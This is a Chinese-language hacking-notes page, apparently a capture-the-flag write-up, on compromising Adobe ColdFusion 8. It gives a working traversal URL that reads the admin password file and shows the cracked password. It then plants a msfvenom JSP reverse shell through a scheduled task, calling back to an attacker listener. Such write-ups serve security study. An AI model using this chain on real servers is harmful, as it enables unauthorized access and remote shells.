> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

我们在 8500 端口发现了一个暴露的 Adobe ColdFusion 管理服务，需要用户名和密码才能访问。

<figure><img src="/files/adc19854579bdbdb2aa11d1a29b3909bcf01dd99" alt=""><figcaption></figcaption></figure>

使用 `searchsploit` 会发现一个用于目录遍历漏洞的利用脚本。

<figure><img src="/files/9d86698dca5e62448cd333c8a00eb5995786cd25" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

该脚本揭示了一个 LFI 漏洞，可以读取包含密码的文件：

<figure><img src="/files/74cf495a1fce7177cbac9fc2db252962c995cd94" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/b81b9e4e0a70987beff8ddd7bc9d0789637a023d" alt=""><figcaption></figcaption></figure>

该文件包含以下密码值：

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/da39cc1dd8ee67609a4c8b76dddd9b8dbe9ad129" alt=""><figcaption></figcaption></figure>

### 密码破解

{% embed url="<https://crackstation.net/>" %}

使用 CrackStation，我们破解了哈希并恢复出密码 `happyday`。我们现在可以成功登录了。

<figure><img src="/files/051986f2e1e6cdcdc9d4b442b568caa80f3f7466" alt=""><figcaption></figcaption></figure>

### 创建恶意计划任务

<figure><img src="/files/04ee5411c49302b4f7c568dd058fe2be6d2657bf" alt=""><figcaption></figcaption></figure>

在计划任务部分，创建一个新任务，将恶意文件写入 `C:/ColdFusion8/wwwroot/CFIDE`，应用程序在该位置拥有读/写权限。

<figure><img src="/files/4fcc612d140a7f6c2e03912be9559dfd112825cd" alt="" width="563"><figcaption></figcaption></figure>

**创建 JSP 文件：** 由于服务器可以执行 JSP 文件，使用 `msfvenom`:

<figure><img src="/files/ea9768b91f62610462eee4eb56257eb8e497e5f9" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/df05987a6a9c0e4cbb28cc1010d84ae0f344dfa6" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**添加新任务：** 将计划任务配置为执行恶意文件。

<figure><img src="/files/40b754c226c88cf2a217cd0cf99e4606c6b9e751" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8b175a2e94045bd7d9646f9eb7e989cc329ef094" alt="" width="563"><figcaption></figcaption></figure>

**用于文件传输的 HTTP 服务器：** 在攻击者机器上启动一个 HTTP 服务器以传输 JSP 文件：

```bash
python3 -m http.server 80
```

<figure><img src="/files/714c5700299153ad45e0adbca08e304cd3802b4a" alt=""><figcaption></figcaption></figure>

**监听器设置与 shell 执行：** 在 443 端口上启动一个监听器以接收反向 shell，然后从以下位置触发计划任务 `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/ee44e04347db6e8c73b01ebbb920ff687f7dcc91" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/2da3bef9e6f6355ed551b12b9303805d5f9d2271" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
